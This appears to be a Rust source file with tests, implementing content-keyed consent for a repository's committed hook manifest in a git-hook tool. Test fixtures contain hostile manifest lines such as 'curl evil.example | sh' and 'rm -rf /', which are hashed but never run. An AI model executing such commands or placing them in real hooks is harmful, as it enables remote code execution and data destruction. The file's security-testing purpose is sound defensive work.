Skip to main content

amont_runtime/
trust.rs

1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44///
45/// MULTI-VALUED, and that is the whole point. `--local` config is shared by every
46/// worktree of a repository, so a single value meant worktrees fought over it:
47/// trusting one checkout made every other checkout on a different branch report
48/// `TRUSTED ONCE, AND CHANGED SINCE`, and its declared checks stop running until
49/// somebody re-trusts — which then breaks the first one. With one worktree per
50/// task, as `git worktree` workflows have, the record never settles.
51///
52/// A set fixes it without moving the record anywhere, because trust here has
53/// always been keyed on CONTENT rather than on place: the question is "have these
54/// exact bytes been reviewed", and the answer does not depend on which checkout is
55/// asking. Two worktrees with the same amont.conf need one acceptance between
56/// them; two with different manifests hold one entry each.
57///
58/// The cost, stated plainly: reverting a manifest to bytes accepted earlier no
59/// longer asks again, where a single-valued record would have. That is the
60/// definition working as written — those bytes WERE reviewed — but it is a
61/// weaker guarantee than before, and [`KEEP`] bounds how far back it reaches.
62///
63/// `--worktree` config was the other candidate. It needs
64/// `extensions.worktreeConfig=true` on the repository, which is amont writing a
65/// repo-wide git setting other tools also read, to fix a problem of its own.
66pub const KEY: &str = "amont.trusted";
67
68/// Content id of `path`, as git would compute it.
69///
70/// `--no-filters`, because consent is bound to CONTENT and the content that
71/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
72/// filter and eol conversion configured by the repository's own committed
73/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
74/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
75/// and two manifests we would parse differently can hash identically. The
76/// binding was to content-after-a-repo-controlled-transform.
77pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
78    crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
79}
80
81/// The same identity, for bytes already in hand.
82///
83/// `--stdin` is never filtered, so this names exactly the buffer given to it.
84/// Used where the caller has read the file and is about to act on THAT read:
85/// hashing the path again would be a second read, and the two can differ.
86pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
87    crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
88}
89
90/// What the repository has recorded, if anything.
91pub fn recorded(repo: &Path) -> Vec<String> {
92    crate::git::stdout_in(repo, &["config", "--local", "--get-all", KEY])
93        .map(|out| {
94            out.lines()
95                .map(str::trim)
96                .filter(|l| !l.is_empty())
97                .map(str::to_string)
98                .collect()
99        })
100        .unwrap_or_default()
101}
102
103#[derive(Debug, Clone, Copy, PartialEq, Eq)]
104pub enum State {
105    /// No manifest. The overwhelmingly common case, and it must cost nothing.
106    NoManifest,
107    /// Trusted, and the file still has the bytes that were trusted.
108    Trusted,
109    /// Never trusted here.
110    Untrusted,
111    /// Trusted once, and edited since. Distinct from `Untrusted` because the
112    /// message should say which happened — "somebody changed it" is a different
113    /// thing to tell a reader than "you have not looked at this yet".
114    Changed,
115}
116
117/// Decide whether `repo`'s manifest may run.
118pub fn state(repo: &Path) -> State {
119    let manifest = repo.join(crate::manifest::MANIFEST);
120    if !manifest.is_file() {
121        return State::NoManifest;
122    }
123    let Some(current) = fingerprint(repo, &manifest) else {
124        // Cannot compute it, so cannot claim it matches.
125        return State::Untrusted;
126    };
127    verdict(repo, &current)
128}
129
130/// The same decision, about bytes the caller already holds.
131///
132/// For anyone who has read the manifest and is about to act on THAT read.
133/// Re-opening the file to decide whether the first read may run is two reads of
134/// something that can change in between, and the whole point of the record is
135/// that it names the content being executed.
136pub fn state_of(repo: &Path, source: &[u8]) -> State {
137    let Some(current) = fingerprint_bytes(repo, source) else {
138        return State::Untrusted;
139    };
140    verdict(repo, &current)
141}
142
143fn verdict(repo: &Path, current: &str) -> State {
144    let seen = recorded(repo);
145    if seen.iter().any(|s| s == current) {
146        State::Trusted
147    } else if seen.is_empty() {
148        State::Untrusted
149    } else {
150        State::Changed
151    }
152}
153
154/// Record the manifest as it stands now.
155pub fn record(repo: &Path) -> Result<String, String> {
156    let manifest = repo.join(crate::manifest::MANIFEST);
157    let fp = fingerprint(repo, &manifest)
158        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
159    record_verified(repo, &fp)?;
160    Ok(fp)
161}
162
163/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
164///
165/// The gap this closes: `describe()` prints the manifest, then — in
166/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
167/// several seconds, before anything is recorded. A plain re-hash at that
168/// point trusts whatever is on disk THEN, which is not necessarily what was
169/// shown; a file changed in that window would be trusted without ever having
170/// been reviewed, which is the exact thing this module exists to prevent.
171/// Callers fingerprint what they show BEFORE asking, and pass that same
172/// value here — verified again, not merely assumed, once the answer is in.
173pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
174    let manifest = repo.join(crate::manifest::MANIFEST);
175    let now = fingerprint(repo, &manifest)
176        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
177    if now != fp {
178        return Err(format!(
179            "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
180            crate::manifest::MANIFEST
181        ));
182    }
183    // Already accepted — adding it again would grow the list for nothing.
184    if recorded(repo).iter().any(|s| s == fp) {
185        return Ok(());
186    }
187    let ok = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, fp]).is_some();
188    if !ok {
189        return Err(format!("cannot record {KEY} in this repository"));
190    }
191    prune(repo);
192    Ok(())
193}
194
195/// Forget it.
196pub fn revoke(repo: &Path) -> Result<(), String> {
197    // `--unset-all` exits 5 when the key is absent, which is not a failure here.
198    // ALL of them: revoking means this repository trusts nothing, and leaving a
199    // sibling worktree's fingerprint behind would mean `--revoke` did not.
200    let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]);
201    Ok(())
202}
203
204/// How many accepted fingerprints to keep.
205///
206/// One per checkout that is currently on a different branch is the shape this
207/// serves, plus a little history. Unbounded, `.git/config` would grow a line per
208/// edit of the manifest, forever.
209const KEEP: usize = 16;
210
211/// Trim the oldest entries once the list is longer than [`KEEP`].
212///
213/// Best-effort by design: the new value was already added before this runs, so a
214/// failure here leaves a list that is correct and merely longer than intended,
215/// never one that has lost the fingerprint somebody just accepted.
216fn prune(repo: &Path) {
217    let all = recorded(repo);
218    if all.len() <= KEEP {
219        return;
220    }
221    let keep: Vec<String> = all[all.len() - KEEP..].to_vec();
222    if crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]).is_none() {
223        return;
224    }
225    for fp in keep {
226        let _ = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, &fp]);
227    }
228}
229
230/// The reason an external does not run, phrased for the check's own report.
231pub fn why(state: State) -> Option<&'static str> {
232    match state {
233        State::NoManifest | State::Trusted => None,
234        State::Untrusted => {
235            Some("declared in an untrusted amont.conf — review it, then `amont trust`")
236        }
237        State::Changed => {
238            Some("amont.conf changed since it was trusted — review it, then `amont trust`")
239        }
240    }
241}
242
243/// Show what the manifest declares, so the decision is made with it in view.
244///
245/// Printing the lines is the whole point: "trust this file" is not a question
246/// anybody can answer without seeing it, and a prompt that does not show it is
247/// a prompt that trains people to press y.
248pub fn describe(repo: &Path) -> String {
249    describe_source(
250        &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
251    )
252}
253
254/// The same listing, rendered from text the caller already read.
255///
256/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
257/// reads of a file somebody is deciding about can disagree, and the decision
258/// would then be recorded about bytes nobody was shown.
259pub fn describe_source(text: &str) -> String {
260    use std::fmt::Write;
261    let mut out = String::new();
262    let lines = crate::manifest::parse_lines(text);
263    // Policy and tool-pin lines are rendered as their own blocks below —
264    // they are not checks, and running them through the check table printed
265    // them as `! broken`, which told the person consenting that something
266    // was WRONG with the very lines they were being asked to approve.
267    let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
268    for line in checks {
269        let (name, stage, parsed) = line.into_parts();
270        // Every field here is repo-controlled, and this is the text somebody
271        // is about to say yes to. Sanitised BEFORE the padding, so the column
272        // widths are computed on what is actually printed — an escape sequence
273        // is zero columns wide and would silently shift the alignment even if
274        // it did nothing worse. See `ui::sanitize` for what a concealed
275        // declaration bought.
276        let name = crate::ui::sanitize(&name);
277        match parsed {
278            Ok(declared) => {
279                let _ = writeln!(
280                    out,
281                    "      {name:<14} {:<10} {}",
282                    stage.as_str(),
283                    crate::ui::sanitize(&declared.command())
284                );
285            }
286            Err(why) => {
287                let _ = writeln!(
288                    out,
289                    "      {name:<14} {:<10} ! {}",
290                    stage.as_str(),
291                    crate::ui::sanitize(&why.to_string())
292                );
293            }
294        }
295    }
296    let pins: Vec<String> = rest
297        .iter()
298        .filter_map(|l| match l {
299            crate::manifest::Line::Tool(pin) => {
300                Some(format!("tool      {}  {}", pin.program, pin.want))
301            }
302            _ => None,
303        })
304        .collect();
305    let policy: Vec<String> = rest
306        .iter()
307        .filter_map(|l| match l {
308            crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
309            _ => None,
310        })
311        .collect();
312    if !policy.is_empty() {
313        let _ = writeln!(out, "    and sets policy for built-in checks:");
314        for p in policy {
315            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
316        }
317    }
318    if !pins.is_empty() {
319        let _ = writeln!(out, "    and pins tool versions (verified, warn-only):");
320        for p in pins {
321            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
322        }
323    }
324    out
325}
326
327/// A yes/no on the terminal, or `false` when there is nobody to ask.
328///
329/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
330/// that read stdin would consume something else's input. Same reason
331/// `package-lock` does it, and the third copy of this is where it becomes a
332/// shared function.
333#[cfg(unix)]
334pub fn confirm(prompt: &str) -> bool {
335    use std::io::{BufRead, BufReader, Write};
336    let Ok(tty) = std::fs::File::open("/dev/tty") else {
337        return false;
338    };
339    print!("{prompt}");
340    let _ = std::io::stdout().flush();
341    let mut line = String::new();
342    if BufReader::new(tty).read_line(&mut line).is_err() {
343        return false;
344    }
345    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
346}
347
348/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
349/// something else holds stdin. Before this, Windows always declined —
350/// `amont trust` could never be granted interactively there, so every
351/// declared check spent its life politely disabled for the Windows
352/// minority of a team.
353///
354/// **Gated on stdin actually being a console**, which is the whole
355/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
356/// controlling terminal, so unix gets its "nobody to ask" answer for free;
357/// `CONIN$` opens whenever the process has a console at all — which a CI
358/// runner does — and then blocks forever on a read nobody will answer.
359/// That is not hypothetical: it hung four install tests until the Windows
360/// job timed out, at 20 minutes, the first time this shipped without the
361/// gate. A redirected stdin (git handing a hook a pipe, a test using
362/// `Stdio::null()`, a script piping input) therefore declines, exactly as
363/// before — the prompt is for a human who typed a command, and a human who
364/// typed a command has a console on stdin.
365#[cfg(windows)]
366pub fn confirm(prompt: &str) -> bool {
367    use std::io::{BufRead, BufReader, Write};
368    if !stdin_is_a_console() {
369        return false;
370    }
371    let Ok(con) = std::fs::File::open("CONIN$") else {
372        return false;
373    };
374    print!("{prompt}");
375    let _ = std::io::stdout().flush();
376    let mut line = String::new();
377    if BufReader::new(con).read_line(&mut line).is_err() {
378        return false;
379    }
380    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
381}
382
383/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
384///
385/// `GetConsoleMode` succeeds only for a console handle — the standard way
386/// to ask on Windows, and one kernel32 call, so this stays dependency-free
387/// like the signal handler in `staged_only`.
388#[cfg(windows)]
389fn stdin_is_a_console() -> bool {
390    const STD_INPUT_HANDLE: u32 = -10i32 as u32;
391    #[link(name = "kernel32")]
392    extern "system" {
393        fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
394        fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
395    }
396    let mut mode = 0u32;
397    unsafe {
398        let handle = GetStdHandle(STD_INPUT_HANDLE);
399        if handle.is_null() {
400            return false;
401        }
402        GetConsoleMode(handle, &mut mode) != 0
403    }
404}
405
406/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
407#[cfg(not(any(unix, windows)))]
408pub fn confirm(_prompt: &str) -> bool {
409    false
410}
411
412/// `amont trust [--show|--revoke]`.
413pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
414    // Refuse rather than fall back to ".". Trust is RECORDED per repository,
415    // keyed by the root this resolves to, so a "." root outside a repository
416    // meant `amont trust` in `~` would read `~/amont.conf`, show its
417    // declarations, and record trust for them — against a repository that does
418    // not exist, in a state no later `amont trust --revoke` would find.
419    let root = crate::hooks::common::repo_root_checked()?;
420    let root = Path::new(&root);
421    let flag = |f: &str| args.iter().any(|a| a == f);
422
423    if flag("--revoke") {
424        revoke(root)?;
425        println!("{} amont.conf is no longer trusted here", valid_sign());
426        return Ok(());
427    }
428
429    let state = state(root);
430    if state == State::NoManifest {
431        println!("no {} in this repository", crate::manifest::MANIFEST);
432        return Ok(());
433    }
434
435    if flag("--show") {
436        println!("{}", crate::manifest::MANIFEST);
437        print!("{}", describe(root));
438        println!(
439            "    {}",
440            match state {
441                State::Trusted => "trusted here",
442                State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
443                _ => "not trusted here — not running",
444            }
445        );
446        return Ok(());
447    }
448
449    if state == State::Trusted {
450        println!("{} already trusted, unchanged", valid_sign());
451        return Ok(());
452    }
453
454    // One read: the bytes shown are the bytes fingerprinted, and
455    // `record_verified` then confirms they are still the bytes on disk. Read
456    // twice, and the listing somebody approved need not be what got recorded.
457    let manifest = root.join(crate::manifest::MANIFEST);
458    let source =
459        std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
460    let fp = fingerprint_bytes(root, &source)
461        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
462    println!("{} declares:", crate::manifest::MANIFEST);
463    print!("{}", describe_source(&String::from_utf8_lossy(&source)));
464    record_verified(root, &fp)?;
465    println!("{} trusted ({fp})", valid_sign());
466    Ok(())
467}
468
469#[cfg(test)]
470mod tests {
471    use super::*;
472
473    fn repo(name: &str) -> std::path::PathBuf {
474        let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
475        let _ = std::fs::remove_dir_all(&d);
476        std::fs::create_dir_all(&d).unwrap();
477        std::process::Command::new("git")
478            .args(["init", "-q", "--template=", "."])
479            .current_dir(&d)
480            .output()
481            .expect("git");
482        d
483    }
484
485    fn write_manifest(dir: &Path, body: &str) {
486        std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
487    }
488
489    /// Ninety-six repositories have no manifest. That must be free and silent.
490    #[test]
491    fn no_manifest_is_not_a_trust_question() {
492        let d = repo("none");
493        assert_eq!(state(&d), State::NoManifest);
494        assert_eq!(why(State::NoManifest), None);
495        let _ = std::fs::remove_dir_all(&d);
496    }
497
498    #[test]
499    fn a_manifest_starts_untrusted() {
500        let d = repo("new");
501        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
502        assert_eq!(state(&d), State::Untrusted);
503        let _ = std::fs::remove_dir_all(&d);
504    }
505
506    #[test]
507    fn recording_makes_it_trusted() {
508        let d = repo("record");
509        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
510        record(&d).expect("record");
511        assert_eq!(state(&d), State::Trusted);
512        let _ = std::fs::remove_dir_all(&d);
513    }
514
515    /// The property the whole design turns on: consent is to CONTENT, so a
516    /// `git pull` that adds a command cannot inherit it.
517    #[test]
518    fn editing_the_manifest_revokes_trust() {
519        let d = repo("edit");
520        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
521        record(&d).expect("record");
522        assert_eq!(state(&d), State::Trusted);
523
524        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
525        assert_eq!(
526            state(&d),
527            State::Changed,
528            "a manifest edited after trusting must not still be trusted"
529        );
530        // And it says which happened, because "you have not looked at this" is
531        // a different sentence to "somebody changed it".
532        assert!(why(State::Changed).expect("reason").contains("changed"));
533        let _ = std::fs::remove_dir_all(&d);
534    }
535
536    /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
537    /// fingerprints what it showed, waits on a keypress, then must not trust
538    /// whatever is on disk by the time the answer comes back if that is not
539    /// what was actually shown.
540    #[test]
541    fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
542        let d = repo("changed-mid-confirm");
543        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
544        let manifest = d.join(crate::manifest::MANIFEST);
545        let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
546
547        // The file is rewritten in the window a real confirm() would have
548        // been blocking on a keypress.
549        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
550
551        let err = record_verified(&d, &shown_fp).expect_err("must refuse");
552        assert!(err.contains("changed"), "{err}");
553        assert_eq!(
554            state(&d),
555            State::Untrusted,
556            "the rewritten content must not end up trusted"
557        );
558        let _ = std::fs::remove_dir_all(&d);
559    }
560
561    /// The ordinary path still works: nothing changed, so the fingerprint
562    /// shown is the fingerprint recorded.
563    #[test]
564    fn record_verified_accepts_a_manifest_that_did_not_change() {
565        let d = repo("unchanged");
566        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
567        let manifest = d.join(crate::manifest::MANIFEST);
568        let fp = fingerprint(&d, &manifest).expect("fingerprint");
569        record_verified(&d, &fp).expect("record");
570        assert_eq!(state(&d), State::Trusted);
571        let _ = std::fs::remove_dir_all(&d);
572    }
573
574    #[test]
575    fn revoking_returns_it_to_untrusted() {
576        let d = repo("revoke");
577        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
578        record(&d).expect("record");
579        revoke(&d).expect("revoke");
580        assert_eq!(state(&d), State::Untrusted);
581        // Twice is not an error: `git config --unset` exits 5 on a missing key.
582        revoke(&d).expect("revoke again");
583        let _ = std::fs::remove_dir_all(&d);
584    }
585
586    /// The bug this file was changed for.
587    ///
588    /// `--local` config is shared by every worktree, so with a single value the
589    /// two checkouts below take turns invalidating each other and neither ever
590    /// settles. Both manifests were reviewed; both must stay accepted.
591    #[test]
592    fn two_worktrees_with_different_manifests_do_not_evict_each_other() {
593        let d = repo("worktrees");
594        let a = "pre-commit  a  *  block  echo a\n";
595        let b = "pre-commit  b  *  block  echo b\n";
596
597        write_manifest(&d, a);
598        record(&d).expect("accept a");
599        assert_eq!(state(&d), State::Trusted);
600
601        // the sibling worktree, on another branch, accepts its own manifest
602        write_manifest(&d, b);
603        record(&d).expect("accept b");
604        assert_eq!(state(&d), State::Trusted);
605
606        // and the first one is STILL trusted — this is what used to say Changed
607        write_manifest(&d, a);
608        assert_eq!(
609            state(&d),
610            State::Trusted,
611            "accepting a second manifest evicted the first"
612        );
613        let _ = std::fs::remove_dir_all(&d);
614    }
615
616    /// A manifest nobody ever accepted is still Changed, not Trusted: the set
617    /// must not turn into "anything goes once you have trusted one thing".
618    #[test]
619    fn an_unseen_manifest_is_still_changed() {
620        let d = repo("unseen");
621        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
622        record(&d).expect("record");
623        write_manifest(&d, "pre-commit  evil  *  block  curl example.com\n");
624        assert_eq!(state(&d), State::Changed);
625        let _ = std::fs::remove_dir_all(&d);
626    }
627
628    /// Revoke means this repository trusts nothing — not "all but the sibling's".
629    #[test]
630    fn revoke_clears_every_accepted_fingerprint() {
631        let d = repo("revoke-all");
632        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
633        record(&d).expect("a");
634        write_manifest(&d, "pre-commit  b  *  block  echo b\n");
635        record(&d).expect("b");
636        revoke(&d).expect("revoke");
637        assert!(recorded(&d).is_empty(), "revoke left a fingerprint behind");
638        assert_eq!(state(&d), State::Untrusted);
639        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
640        assert_eq!(state(&d), State::Untrusted);
641        let _ = std::fs::remove_dir_all(&d);
642    }
643
644    /// Accepting the same bytes twice must not grow the list.
645    #[test]
646    fn re_accepting_the_same_manifest_is_idempotent() {
647        let d = repo("idempotent");
648        write_manifest(&d, "pre-commit  a  *  block  echo a\n");
649        record(&d).expect("once");
650        record(&d).expect("twice");
651        assert_eq!(recorded(&d).len(), 1);
652        let _ = std::fs::remove_dir_all(&d);
653    }
654
655    /// The list is bounded, or `.git/config` grows a line per manifest edit
656    /// forever.
657    #[test]
658    fn the_accepted_list_is_capped() {
659        let d = repo("capped");
660        for i in 0..KEEP + 5 {
661            write_manifest(&d, &format!("pre-commit  a{i}  *  block  echo {i}\n"));
662            record(&d).expect("record");
663        }
664        assert_eq!(recorded(&d).len(), KEEP);
665        // the most recent survives, the oldest does not
666        assert_eq!(state(&d), State::Trusted);
667        write_manifest(&d, "pre-commit  a0  *  block  echo 0\n");
668        assert_eq!(state(&d), State::Changed);
669        let _ = std::fs::remove_dir_all(&d);
670    }
671
672    /// Reproducible by hand, which is the point of using git's own identity.
673    #[test]
674    fn the_fingerprint_is_git_hash_object() {
675        let d = repo("fp");
676        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
677        let manifest = d.join(crate::manifest::MANIFEST);
678        let ours = fingerprint(&d, &manifest).expect("fingerprint");
679        let theirs = String::from_utf8_lossy(
680            &std::process::Command::new("git")
681                .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
682                .current_dir(&d)
683                .output()
684                .expect("git")
685                .stdout,
686        )
687        .trim()
688        .to_string();
689        assert_eq!(ours, theirs);
690        let _ = std::fs::remove_dir_all(&d);
691    }
692    /// A repository must not choose the transform its own consent is taken
693    /// through.
694    ///
695    /// `.gitattributes` is committed, so the repo picks the clean filter; plain
696    /// `git hash-object` applies it. With one that collapses everything to a
697    /// constant, two manifests this parser reads DIFFERENTLY are given the same
698    /// id — so a trusted fingerprint would cover content nobody reviewed.
699    #[test]
700    fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
701        let d = repo("filter");
702        std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
703            .expect("write attributes");
704        let ok = std::process::Command::new("git")
705            .args(["config", "--local", "filter.flatten.clean", "echo same"])
706            .current_dir(&d)
707            .status()
708            .map(|s| s.success())
709            .unwrap_or(false);
710        if !ok {
711            return; // no git to configure; nothing to assert
712        }
713        let manifest = d.join(crate::manifest::MANIFEST);
714
715        write_manifest(&d, "pre-commit  a  *  block  echo one\n");
716        let filtered_a = raw_hash(&d, &manifest);
717        let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
718
719        write_manifest(&d, "pre-commit  b  *  block  rm -rf /\n");
720        let filtered_b = raw_hash(&d, &manifest);
721        let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
722
723        // The collision has to EXIST before its absence means anything. A
724        // clean filter is an external program run through git's own shell, and
725        // whether `echo` resolves that way is the platform's business, not
726        // ours — Git for Windows does not collapse these. Say so and stop,
727        // rather than report a fixture that would not build as a defect in the
728        // code under test. `an_eol_conversion_cannot_...` below covers the same
729        // property with no external program involved and runs everywhere.
730        if filtered_a != filtered_b {
731            println!(
732                "! clean filters do not apply here — collision not reproducible, \
733                 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
734            );
735            return;
736        }
737        assert_ne!(
738            ours_a, ours_b,
739            "the fingerprint followed a repo-controlled filter"
740        );
741    }
742
743    /// The same property, with git's own eol conversion instead of an external
744    /// filter — so it holds on every platform.
745    ///
746    /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
747    /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
748    /// files differing only in line endings hash identically. That is a weaker
749    /// lever than a clean filter (the parser reads both the same way), but it
750    /// is the same mistake: the id names content-after-a-repo-controlled
751    /// transform rather than the bytes we read.
752    #[test]
753    fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
754        let d = repo("eol");
755        std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
756            .expect("write attributes");
757        let manifest = d.join(crate::manifest::MANIFEST);
758
759        // Byte-different, line-ending-identical-after-normalisation.
760        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\r\n").expect("crlf");
761        let filtered_crlf = raw_hash(&d, &manifest);
762        let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
763
764        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\n").expect("lf");
765        let filtered_lf = raw_hash(&d, &manifest);
766        let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
767
768        if filtered_crlf != filtered_lf {
769            println!("! eol conversion does not apply here — collision not reproducible");
770            return;
771        }
772        assert_ne!(
773            ours_crlf, ours_lf,
774            "the fingerprint followed a repo-controlled eol conversion"
775        );
776    }
777
778    fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
779        String::from_utf8_lossy(
780            &std::process::Command::new("git")
781                .args(["hash-object", manifest.to_str().unwrap()])
782                .current_dir(dir)
783                .output()
784                .expect("git")
785                .stdout,
786        )
787        .trim()
788        .to_string()
789    }
790}